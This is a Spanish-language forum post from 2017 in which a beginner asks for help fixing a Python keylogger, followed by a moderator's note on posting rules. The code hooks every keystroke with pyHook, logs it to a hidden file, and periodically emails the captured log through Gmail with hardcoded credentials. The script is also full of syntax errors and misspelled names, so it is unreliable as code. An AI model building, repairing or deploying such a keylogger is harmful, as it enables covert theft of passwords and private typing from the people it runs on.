elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: AIO elhacker.NET 2021 Compilación herramientas análisis y desinfección malware


  Mostrar Mensajes
Páginas: [1]
1  Programación / Scripting / keyLogger en python, pero me lanza un error cuando escribo una "variable" en: 1 Junio 2017, 06:58 am
Hola amigos de este foro, soy nuevo acá, vine solicitando ayuda y aprender un poco más, soy nuevo en esto de programación, estoy aprendiendo Python, estaba haciendo un KeyLogger, pero me lanza un error cuando escribo una "variable"
Les muestro la líneas de códigos, a ver si me pueden ayudar a encontrar el error.
Gracias.

Código
  1. import pyHook, pythoncom, sys, loggin
  2. import time, datetime
  3.  
  4. wait_seconds = 60
  5. timeout = time.time() +wait_second
  6. file_log = 'C:\\secret\\dat.txt'
  7.  
  8. def TimeOut():
  9.    if time.time() > timeout:
  10.        return True
  11.    else:
  12.        return False
  13.  
  14. def SendEmail(user, pwd, recipient, subject, body):
  15.    import smtplib
  16.  
  17.    gmail_user = user
  18.    gmail_pass = pwd
  19.    FROM = use
  20.    TO = recipient if type(recipient) is list else (recipient)
  21.    SUBJECT = subject
  22.    TEXT = body
  23.  
  24.    message ="""\From: %s\nTo: $s\nSubject: %s\n\n%s
  25.    """ % (FROM ", ".join(TO), SUBJECT, TEXT)
  26.    try
  27.        server = Smtplib.SMTP("smtp.gmail.com", 587)
  28.        server.ehlo()
  29.        server.starttls()
  30.        server.login(gmail_user, gmail_pass)
  31.        server.closer()
  32.        print 'Correo enviado sastifactoriamente'
  33.       except
  34.        print 'Error al mandar correo'
  35.  
  36. def FormatAndSendLogEmail():
  37.    with open(file_log, 'r+') as f:
  38.        actualdate = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
  39.        data = f.read()replacer('\n', '')
  40.        data = 'Log capturado a las: ' + actualidate + '\n' + data
  41.        SendEmail(jejeje@gmail.com', 'unacontraseña123', 'jejeje@gmail.com',
  42.                  'Nuevo log - '+actualdate, data)
  43.        f.seek(0)
  44.        f.truncate()
  45.  
  46.  
  47. def OnkeyboardEvent(event):
  48.    loggin.basicConfig(filename=file_log, level=loggin.DEBUG,
  49.                       format = '%(message)s'  
  50.    logging.log(10, chr(event.Ascii))
  51.    return True
  52.  
  53. hooks_manager = pyHook.HookManager()
  54. hooks_manager.KeyDown = OnKeyboardEvent                      
  55. hooks_manager.HookKeyboard()
  56.  
  57. while True
  58.    if TimeOut():
  59.         FormatAndSendEmail()
  60.         timeout = time.time() + wait_seconds
  61.  
  62.    pythoncom.PumwaitingMessages()                      
  63.  
  64.  


· Los códigos deben ir en etiquetas GeSHi
· Los títulos deben ser descriptivos a la temática
· Los temas de python van en scripting
>aquí las reglas del foro
-Engel Lex
Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines